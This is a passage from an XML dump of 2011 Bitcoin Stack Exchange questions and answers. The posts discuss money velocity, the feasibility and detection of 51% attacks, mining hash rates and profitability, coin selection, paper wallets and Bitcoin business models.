  <row Id="1057" PostTypeId="2" ParentId="919" CreationDate="2011-09-14T18:38:38.660" Score="5" Body="&lt;p&gt;The macroeconomic concept of '&lt;a href=&quot;http://en.wikipedia.org/wiki/Money_velocity&quot; rel=&quot;nofollow&quot;&gt;velocity&lt;/a&gt;' is relevant in this context. However, Because it is not possible to be certain which portion of a Bitcoin transaction is 'spend', and which part is 'change' back to the spender, the traditional definition of velocity is difficult to apply.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An alternate means of measuring 'velocity' or use in the Bitcoin economy is something called 'Bitcoin Days Destroyed'. It is explained at the wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Bitcoin_Days_Destroyed&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. A more recent chart is available &lt;a href=&quot;http://banana.mine.nu/daysdest.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It is also summarized in the last column of the &lt;a href=&quot;http://abe.john-edwin-tobey.org/chain/Bitcoin&quot; rel=&quot;nofollow&quot;&gt;alternate block explorer&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="222" LastActivityDate="2011-09-14T18:38:38.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1058" PostTypeId="2" ParentId="1055" CreationDate="2011-09-14T18:58:23.777" Score="14" Body="&lt;p&gt;This is a 51% attack where the attacker sets the block timestamps artificially to lower the difficulty, allowing him to profit more coins than his hash rate would warrant. It works because the difficulty adjustment formula is based purely on timestamps that can be chosen quite freely by the attacker. In particular, the &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/915/why-dont-the-timestamps-in-the-block-chain-always-increase&quot;&gt;timestamps are not required to be in increasing order&lt;/a&gt;. ArtForz explains the attack in detail &lt;a href=&quot;https://bitcointalk.org/index.php?topic=43692.msg521772#msg521772&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This attack was used against the new Geist Geld block chain. Geist Geld difficulty adjusts every 16 blocks making the chain particularly vulnerable against this attack. An attacker targeting Bitcoin would have to mine a full set of 2016 blocks at the current difficulty before starting to get any benefit compared to a &quot;normal&quot; 51% attack.&lt;/p&gt;&#xA;" OwnerUserId="280" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-09-14T19:17:02.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1059" PostTypeId="2" ParentId="1056" CreationDate="2011-09-14T19:01:10.607" Score="2" Body="&lt;p&gt;A i3 laptop will get around 2Mhash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The entire network stands at around 12Thash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So around 3 million laptops to get 50%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are better ways to mine though.&lt;/p&gt;&#xA;" OwnerUserId="33" LastActivityDate="2011-09-14T19:01:10.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1060" PostTypeId="2" ParentId="1056" CreationDate="2011-09-14T19:11:55.537" Score="3" Body="&lt;p&gt;A standard laptop CPU provides around &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1628.0&quot; rel=&quot;nofollow&quot;&gt;2-8 Mhash/sec&lt;/a&gt;. An ATI 5870 video card, which has one the best efficiency/cost ratios, mines at about &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow&quot;&gt;400 Mhash/sec&lt;/a&gt;, and at the moment, the Bitcoin network has a total hashing power of about 12,460,000 Mhash/sec, which equals 31,150 5870 video cards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone would need to invest about 10 million USD just to buy video cards, without including the cost of assembly and other hardware like mother boards, power supplies etc. It is possible to design custom hardware to do Bitcoin mining using an &lt;a href=&quot;http://www.techthefuture.com/technology/the-future-hardware-of-bitcoin-mining/&quot; rel=&quot;nofollow&quot;&gt;ASIC&lt;/a&gt;, which might have ten times better efficiency/cost ratio.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it will be always too expensive to execute a 51% attack to justify just by the profit from the security breach because the Bitcoin network hash rate gets adjusted to the value of a Bitcoin -- in another words, people buy more mining hardware when the price of a Bitcoin goes up.&lt;/p&gt;&#xA;" OwnerUserId="108" LastEditorUserId="85" LastEditDate="2011-09-14T20:45:52.147" LastActivityDate="2011-09-14T20:45:52.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1061" PostTypeId="1" AcceptedAnswerId="1062" CreationDate="2011-09-14T19:43:28.123" Score="22" ViewCount="3274" Body="&lt;p&gt;If someone got 51% hash power and started rewriting the blockchain from scratch (building a longer chain with a completely different history), could this be detected? Could &quot;the honest users&quot; revert such attacks?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="5406" LastEditDate="2016-01-21T09:58:57.760" LastActivityDate="2017-05-05T08:04:52.690" Title="Can a 51% attack be detected and dealt with?" Tags="|security|majority-attack|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1062" PostTypeId="2" ParentId="1061" CreationDate="2011-09-14T20:36:29.970" Score="18" Body="&lt;p&gt;Can such attacks be detected? Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you would see is a chain reorganization that invalidates a large (greater than three) number of previously-accepted blocks. The standard client will actually log this -- you'll see a &lt;code&gt;REORGANIZE&lt;/code&gt; in the client's &lt;code&gt;debug.log&lt;/code&gt; file. The client doesn't currently log the number of blocks invalidated by the reorganization, but that's a simple enhancement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can honest users revert such attacks? Sort of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If a transaction you care about is in the set of blocks that was invalidated, you can always resubmit that transaction. Unless the sender issued a conflicting transaction as part of a double-spend attack, the transaction will still be valid. (The network will actually do this for you automatically. Miners don't want to miss out on the chance to grab the transaction fees associated with the undone transactions.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a longer-term solution, there have been proposals discussed to reject reorganizations that invalidate suspiciously large numbers of blocks such as four or more. The problem with these proposals is that under unusual circumstances (such as if a disaster partitions the Internet for half an hour), the network can permanently split with each side rejecting the other side's block chain as a suspicious reorganization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially, the client would have to go to a &quot;lockout&quot; mode if this happened and reject all transactions until some mechanism to find the real block chain could be implemented. (It could submit all transactions to both chains and consider only transactions accepted in both as confirmed!) One proposal uses a central authority to pick the real chain. This is an area where there is room for innovation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strike&gt;One important point to keep in mind though: If the sender is not attempting a double-spend attack, you have nothing to worry about (other than the reduced usefulness of an unstable exchange network). You can submit the transaction to the block chain as many times as you need to until some block containing the transaction finally does win. Only the sender can create a conflicting transaction that would make you unable to get the transaction you care about into the chain.&lt;/strike&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: &lt;em&gt;In fact, you can lose coins even if the sender wasn't attempting a double-spend attack. Suppose A sends B money and then B sends C money, if A successfully uses a double-spend attack to invalidate the transaction that sent the coins to B, the send from B to C can fail (because a conflicting transactions means B will never have the funds to spend) even though B was not attempting a double-spend attack.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-15T06:20:08.547" LastActivityDate="2011-09-15T06:20:08.547" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1063" PostTypeId="1" AcceptedAnswerId="1064" CreationDate="2011-09-14T20:59:47.697" Score="22" ViewCount="5856" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1056/what-is-the-current-hash-rate-of-bitcoin/1060#1060&quot;&gt;This excellent answer&lt;/a&gt; from Serith states that one would need 31150 ATI 5870 graphics cards to launch a 51% attack. Amazon EC2 offers computers for rent for 2.10$ per hour. &lt;a href=&quot;http://207-171-168-25.amazon.com/about-aws/whats-new/2010/11/15/announcing-cluster-gpu-instances-for-amazon-ec2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;These instances&lt;/a&gt; have 2 x NVIDIA Tesla “Fermi” M2050 GPUs. Given that these are as fast as the ATI 5870 (I have absolutely no idea whether this is the case), and that Amazon has enough of these instances available, one should be able to launch a 51% attack for one hour for a mere 65415$. If the hash rate of the Bitcoin network varies over the time of the day or under such events as a power cut, then it could be cheaper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a potential threat to the Bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.707" LastActivityDate="2016-01-21T09:58:36.153" Title="Could the EC2 infrastructure be used to efficiently launch a 51% attack?" Tags="|security|majority-attack|gpu-mining|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1064" PostTypeId="2" ParentId="1063" CreationDate="2011-09-14T21:11:36.997" Score="17" Body="&lt;p&gt;An NVIDIA Tesla “Fermi” M2050 is not as fast as an ATI 5870. According to &lt;a href=&quot;https://en.bitcoin.it/wiki/Mining_hardware_comparison&quot; rel=&quot;nofollow noreferrer&quot;&gt;the wiki&lt;/a&gt;, the NVIDIA card makes around 70Mh/s and the 5870 makes around 400Mh/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If they were similar and &lt;strong&gt;if Amazon had that amount of cards available for rent&lt;/strong&gt;, then it would be possible. Just don't forget that you would be paying $65415 per hour to sustain an attack that will not give you that much power over the network. See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/658/what-can-an-attacker-with-51-of-hash-power-do&quot;&gt;this question&lt;/a&gt; for an explanation of what the attacker could do. &lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2011-09-14T23:19:33.430" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1065" PostTypeId="2" ParentId="1061" CreationDate="2011-09-14T21:12:29.720" Score="12" Body="&lt;p&gt;A comment about “starting from scratch”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Several check-points have been hardcoded in the client source (hashes of blocks are regularly added in new versions of the client) precisely to reduce the impact of large rewrites of big chain chunks. The transaction history generated in the early days of bitcoin could easily be rewritten with all the processing power available to miners today. But recent clients cannot be lured this way because of these check-points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone with 51% of the total computing power could start rewriting the history from the last check-point, but he cannot go further in the past. Also, for the attack to be effective, one must overtake the network chain before the next check point is accepted by a majority of nodes.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2011-09-14T21:12:29.720" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1066" PostTypeId="2" ParentId="13" CreationDate="2011-09-14T22:29:41.887" Score="8" Body="&lt;p&gt;If people are worried about deflation they really need to distinguish what kind of deflation they are referring to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Asset deflation or monetary deflation.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The real issue with our economy right now is the fact we have asset deflation coupled with monetary inflation which is the worst of both worlds.  I believe asset deflation along with monetary deflation would be less problematic than most people think. Maybe lemonginger was right, it is a very big concept.  We are not even talking about the further implications bitcoin will bring into contract-commercial law.  All of which I believe are a positive personally.  This is a huge subject.&lt;/p&gt;&#xA;" OwnerUserId="389" LastActivityDate="2011-09-14T22:29:41.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1068" PostTypeId="2" ParentId="991" CreationDate="2011-09-14T22:45:28.313" Score="7" Body="&lt;p&gt;MBound would work well, since the fastest way to solve it uses lots and lots of memory - making it fastest on a CPU, not a GPU or ASIC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Memory-Bound Functions for Fighting Spam: &lt;a href=&quot;http://research.microsoft.com/pubs/65154/crypto03.pdf&quot;&gt;http://research.microsoft.com/pubs/65154/crypto03.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2011-09-14T22:45:28.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1069" PostTypeId="1" CreationDate="2011-09-15T00:07:32.067" Score="6" ViewCount="8586" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/485/how-can-i-compute-mining-profitability&quot;&gt;How can I compute mining profitability?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Do bitcoin miners like the one depicted in the video below with 24 server clusters actually profit from bitcoins at the current prices? Are the bit coin exchange rates high enough to cover their costs of electricity and hardware? And is there enough liquidity in the market to actually unload them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are all these miners hoarding them in hopes the idea will take off in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=eLt8Se3vVNg&amp;amp;feature=related&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Mining Rig - 24 Machine Setup - 48Gh &lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="392" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-01-21T09:57:30.610" Title="Do bitcoin miners actually make money" Tags="|mining-profitability|" AnswerCount="3" CommentCount="3" ClosedDate="2011-09-22T05:40:08.530" ContentLicense="CC BY-SA 3.0" />
  <row Id="1070" PostTypeId="2" ParentId="1069" CreationDate="2011-09-15T01:24:08.273" Score="6" Body="&lt;p&gt;Miners have about &lt;a href=&quot;http://pi.uk.com/bitcoin&quot;&gt;26% profit&lt;/a&gt; at the moment, that's includes only cost of electricity vs bitcoins sell price.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2011-09-15T01:24:08.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1071" PostTypeId="2" ParentId="1069" CreationDate="2011-09-15T02:02:34.003" Score="3" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/1069/do-bit-coin-miners-actually-make-money/1070#1070&quot;&gt;Serith's answer&lt;/a&gt; has a good approximation for the operating costs. On &lt;a href=&quot;http://pi.uk.com/bitcoin&quot; rel=&quot;nofollow noreferrer&quot;&gt;that website&lt;/a&gt;, you can also see that miners have negative profits if you include hardware/bandwidth costs.&lt;br&gt;&#xA;So it is profitable to mine, but it is not profitable to invest in mining hardware right now. Of course that these numbers often change according to several factors - BTC prices, mining difficulty, hardware updates, etc. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for liquidity, MtGox alone moves around &lt;a href=&quot;http://bitcoincharts.com/markets/&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 million coins&lt;/a&gt; each month so that shouldn't be a problem (the total monthly bitcoin production is ~216000 &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/161/how-many-bitcoins-will-there-eventually-be&quot;&gt;until next year&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2011-09-15T02:10:48.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1072" PostTypeId="2" ParentId="13" CreationDate="2011-09-15T02:50:20.813" Score="1" Body="&lt;p&gt;Millions of dollars every day will be spent on keeping the bitcoin network up.  After all, it has to use 51% or more of all GPU power in existence - or else risk the entire economic system collapsing.&lt;/p&gt;&#xA;" OwnerUserId="390" LastActivityDate="2011-09-15T02:50:20.813" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1073" PostTypeId="1" CreationDate="2011-09-15T03:12:38.513" Score="-5" ViewCount="401" Body="&lt;p&gt;If anyone trademarks bitcoin, shouldn't it be Satoshi, Gavin or one of the people who actually made it instead of some exchange site that's trying to profit from it and faces competition from other exchanges?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, if Mt.Gox wanted, wouldn't they be able to shut down Tradehill or at least charge royalties if they were able to enforce their trademark? A very dangerous prospect.&lt;/p&gt;&#xA;" OwnerUserId="393" LastEditorUserId="5" LastEditDate="2011-09-15T03:35:48.307" LastActivityDate="2011-09-15T03:35:48.307" Title=" What are the dangers of MtGox's trademark over Bitcoin?" Tags="|legal|mtgox|" AnswerCount="1" CommentCount="2" ClosedDate="2011-09-15T14:50:45.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="1074" PostTypeId="2" ParentId="1073" CreationDate="2011-09-15T03:28:33.163" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If anyone trademarks bitcoin, shouldn't it be Satoshi, Gavin or one of the people who actually made it[.]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You'd have to take that up with them. Thus far, they haven't.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I mean, if GOX wanted, wouldn't they be able to shut down Tradehill or at least charge royalties if they were able to enforce their trademark. A very dangerous prospect.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If that's true, then had Mt. Gox not filed their Trademark, someone else could have and the problem would have been the same (except they could blackmail Mt. Gox as well, which would make things worse). So your issue is not with Mt. Gox.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-15T03:28:33.163" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1075" PostTypeId="1" AcceptedAnswerId="1076" CreationDate="2011-09-15T06:01:09.417" Score="5" ViewCount="753" Body="&lt;p&gt;It sounds like transactions in discarded blocks are propagated back to the network to be included in the next block to be generated, is that the case?  If so, is that triggered in the client when it discards a fork and accepts the longer chain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see some info and &lt;a href=&quot;https://bitcointalk.org/index.php?topic=1994.0&quot; rel=&quot;noreferrer&quot;&gt;discussion&lt;/a&gt; on this in the protocol and forums, but it's not entirely clear, and sounds like the heuristic is somewhat complex and non-deterministic (eg, some transactions can just be lost).&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2011-09-15T06:22:21.553" Title="How are transactions in discarded forks merged back into the blockchain?" Tags="|transactions|blockchain|protocol|script|blockchain-fork|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1076" PostTypeId="2" ParentId="1075" CreationDate="2011-09-15T06:15:42.657" Score="4" Body="&lt;p&gt;The client will import all the lost transactions into its pool of transactions it's trying to commit. Miners will include those transactions into blocks mined for the new chain, if they're not already in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since a miner won't keep a conflicting transaction in memory anyway, it's not possible for the client to cause a conflict by accepting the transactions in the blocks that are undone. Miners should immediately accept all transactions that meet its transaction fee policy and fit as many of them as they can, in priority/dependency order, into blocks they mine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, coinbase transactions (the payment for mining a block) are forever lost. This is the primary reason that many more confirmations are typically required before coins from these transactions can be spent.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2011-09-15T06:22:21.553" LastActivityDate="2011-09-15T06:22:21.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1077" PostTypeId="1" CreationDate="2011-09-15T06:33:03.680" Score="45" ViewCount="8697" Body="&lt;p&gt;When creating a transaction in the standard client, what is the algorithm used to determine which unspent outputs will be used as inputs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has this changed since the first version? What different algorithms are used by alternative clients?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does the client make any attempt to optimize which 'coins' are used based on minimizing the transaction size, the resulting fragmentation, or the 'age' of the coins (value/transactions) used as the source?&lt;/p&gt;&#xA;" OwnerUserId="222" LastEditorUserId="5406" LastEditDate="2016-04-03T08:16:18.993" LastActivityDate="2019-09-09T03:11:41.433" Title="What is the coin selection algorithm?" Tags="|transactions|wallet|client|fragmentation|coin-selection|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1078" PostTypeId="2" ParentId="1077" CreationDate="2011-09-15T08:06:14.010" Score="23" Body="&lt;p&gt;Yes, that is exactly what the client does. It uses heuristics to do this, solving a subset/sum or knapsack problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It uses a multi-pass approach, first trying to use only coins with at least six confirmations. In the next two passes it relaxes these requirements. Within each pass, it tries to minimize the number of transaction outputs claimed and then the amount of change returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that all coins in your wallet are considered. In the accounting model that the Bitcoin client uses, specific coins do not belong to specific accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check the code yourself, search for &lt;code&gt;SelectCoins&lt;/code&gt; in &lt;code&gt;wallet.cpp&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-09-15T08:06:14.010" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1079" PostTypeId="2" ParentId="1042" CreationDate="2011-09-15T13:09:01.897" Score="0" Body="&lt;p&gt;While what @Evil has said could be theoretically true, in practice often happens that random people patent random stuff &quot;just because they can&quot;, and then it will have to be settled on court (with all the related problems).&lt;/p&gt;&#xA;" OwnerUserId="196" LastActivityDate="2011-09-15T13:09:01.897" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1080" PostTypeId="1" AcceptedAnswerId="1082" CreationDate="2011-09-15T14:05:17.653" Score="37" ViewCount="4967" Body="&lt;p&gt;I would like to save some of my bitcoins on a piece of paper with QR code printed on it. What would be the easiest way to do it without using Mt Gox. or similar. Just bitcoins (I'm not afraid of some programming if it's needed).&lt;/p&gt;&#xA;" OwnerUserId="182" LastEditorUserId="5406" LastEditDate="2014-02-09T10:11:31.557" LastActivityDate="2014-02-09T10:11:31.557" Title="How to save bitcoins as paper?" Tags="|paper-wallet|" AnswerCount="8" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1081" PostTypeId="1" AcceptedAnswerId="1130" CreationDate="2011-09-15T14:52:51.477" Score="45" ViewCount="5898" Body="&lt;p&gt;Are there specific, unique business models that have been made possible by the invention of Bitcoin?  And if so, what are they?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I seem to be getting a lot of answers about the areas of industry that people hope and or predict Bitcoin will be great for.  That's all well and good, but it's not what I'm asking in this question.  What I'm curious to find are &lt;strong&gt;specific, unique-to-Bitcoin&lt;/strong&gt; business models that did not and could not have existed before.  David Schwartz suggest there may be none (and he may be right), in which case there shouldn't be any answers here.  &lt;em&gt;Please don't upvote answers which don't answer this question!&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a simple clarifying analogy, consider this question asked of the internet.  We can answer with things like &quot;Pay per click advertising&quot;, MMO gaming, etc. because these things are specific, unique compared to anything that came before, and only possible due to the internet.  True, these have &lt;em&gt;become&lt;/em&gt; entire industries, but they are industries that didn't exist in any form before the internet.  All I'm wondering is if anyone knows of any comparable things for Bitcoin.  I don't know of any, and I'm a fairly Bitcoin-aware guy.  &lt;em&gt;That's why I asked.&lt;/em&gt;  Hopefully this clarifies the question.&lt;/p&gt;&#xA;" OwnerUserId="44" LastEditorUserId="44" LastEditDate="2011-09-16T15:23:31.443" LastActivityDate="2013-02-22T15:27:02.903" Title="What unique business models has Bitcoin enabled?" Tags="|business|" AnswerCount="6" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1082" PostTypeId="2" ParentId="1080" CreationDate="2011-09-15T14:54:54.753" Score="14" Body="&lt;p&gt;Currently the most popular method is to use something like &lt;a href=&quot;https://github.com/joric/pywallet&quot;&gt;pywallet&lt;/a&gt; to export your public/private keys and simply &lt;a href=&quot;http://qrcode.kaywa.com/&quot;&gt;generate&lt;/a&gt; a text QR code for them. Typically separate QR codes are generated for the public key and private key so that one code may be used to receive payment without giving away the private key which allows spending from the account. There are some alternatives, however, depending on your paper wallet needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Casascius' &lt;a href=&quot;https://github.com/casascius/Bitcoin-Address-Utility&quot;&gt;Bitcoin Address Tool&lt;/a&gt; is an excellent way of saving bitcoins in an easy to recover format. Though it doesn't yet support QR codes it does have the ability to generate a paper wallet from any passphrase. Once generated you could store the public and private keys as QR codes using any of a number of applications or online generators. Additionally, you could store the passphrase in a QR code and use it to recover your addresses at any time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I specifically suggest this as opposed to simply exporting keys with pywallet and QR-ing them because this method would let you store more than one wallet address using a single QR code since any passphrase can generate up to 999 addresses deterministically in such a manner. Of course having a simple public key in QR code form also lets you scan the address with a smartphone or computer to send coins, so ultimately the solution depends on your usage.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2011-09-15T17:10:14.617" LastActivityDate="2011-09-15T17:10:14.617" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="1084" PostTypeId="2" ParentId="1081" CreationDate="2011-09-15T19:56:44.617" Score="12" Body="&lt;p&gt;Any business model that requires micropayments is made a reality by Bitcoin (ie - tipping an artist for a song, buying an indy video game for $1, placing small bets on event prediction markets (betsofbitco.in), etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, any business model that accepts high risk payments is helped by bitcoin, as chargebacks are impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Various gambling systems can now occur without regard to arbitrary national laws.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remittances are made vastly easier... send money without fees, forms, or time delay to any person anywhere in the world.&lt;/p&gt;&#xA;" OwnerUserId="329" LastActivityDate="2011-09-15T19:56:44.617" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1085" PostTypeId="2" ParentId="1081" CreationDate="2011-09-15T21:45:24.440" Score="10" Body="&lt;p&gt;Business models which are prone to &quot;&lt;a href=&quot;http://www.merchantcouncil.org/merchant-account/fraud-chargeback/chargeback-fraud-illegitimate.php&quot;&gt;chargeback fraud&lt;/a&gt;&quot; or in which it is hard for merchants to know if the credit card being used for payment is stolen (if it is, the &lt;em&gt;merchant&lt;/em&gt; loses out).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a friend who runs a VoIP origination/termination outfit that's pay-as-you-go (i.e. pay per minute) rather than monthly subscription.  That industry is absolutely inundated with chargeback/credit-card fraud; apparently one of the first things people do with stolen credit cards is make lots of VoIP calls.  The crazy (and often illogical) checks they have to put in place to minimize this are a gigantic inconvenience for their customers and a major expense for the company.  &lt;strong&gt;I think bitcoin will bring non-bulk-purchase per-minute VoIP rates down considerably&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paypal was like this in the early days too -- a magnet for fraudsters.  The only way they brought it under control was to implement the (obnoxious) &quot;security&quot; measures that are in place now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically any business where you aren't shipping a physical object to a physical street address is at risk of this kind of thing.  The steps that merchants need to take to minimize the level of fraud are byzantine, expensive, and cumbersome.  Bitcoin does not subject the merchant to these costs.  &lt;strong&gt;&lt;a href=&quot;http://BitCoinTorrentz.com/&quot;&gt;BitcoinTorrentz&lt;/a&gt; is another example&lt;/strong&gt;; if they used credit cards it would be way too easy for somebody to pay for their service and then just issue a chargeback through their credit card company.  The sums of money involved are small and it's hard to prove to a bank that the service was actually delivered to the customer, so they'd likely lose every case (or spend more money fighting the case than it's worth).&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2011-09-15T21:45:24.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1086" PostTypeId="1" CreationDate="2011-09-15T22:02:57.773" Score="9" ViewCount="453" Body="&lt;p&gt;There has been some criticism from cryptography experts about the current Bitcoin algorithm(s). Now that Bitcoin has been released to the wild and everyone has had time to study it, is there any consensus for improvements that could be made to make Bitcoin better?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it was possible to start over knowing what we know now could Bitcoin be designed any better?&lt;/p&gt;&#xA;" OwnerUserId="392" LastEditorUserId="44" LastEditDate="2011-09-16T16:16:15.490" LastActivityDate="2011-09-17T15:13:06.533" Title="Is there any consensus over specific improvements Bitcoin needs?" Tags="|algorithms|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1087" PostTypeId="2" ParentId="1086" CreationDate="2011-09-15T22:40:43.530" Score="2" Body="&lt;p&gt;I think the only real downside to Bitcoin is that proof-of-work is terribly expensive (energy-consumption wise) and it &lt;a href=&quot;http://www.links.org/?p=1175&quot; rel=&quot;nofollow&quot;&gt;is not clear if it really works&lt;/a&gt; (i.e. provides assurance that no single or few people can control the blockchain underwriting) in the presence of mining pools, bot nets, and the fabled 51% attack. Seeing that miners, while powerful, cannot do really critical things like arbitrarily increasing the coin supply, spending other peoples' money, or lock down other peoples' accounts (the three main reasons why people want Bitcoin as opposed to a fiat currency), maybe a cheaper, trust-based version is acceptable here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other problems like scalability and confirmation delays can be taken care of by services layered on top of Bitcoin. There is for example no real reason why all everyday consumer-level transactions need to happen on the blockchain (as opposed to between and inside wallet services). You obviously still want to be able to store significant amounts on your own computer without any third party involved, but you'd be trusting some services with some amount of money, and that can be leveraged. Think PayPal, but using Bitcoins instead of Dollars. MtGox seems to be going that way.&lt;/p&gt;&#xA;" OwnerUserId="238" LastActivityDate="2011-09-15T22:40:43.530" CommentCount="0" 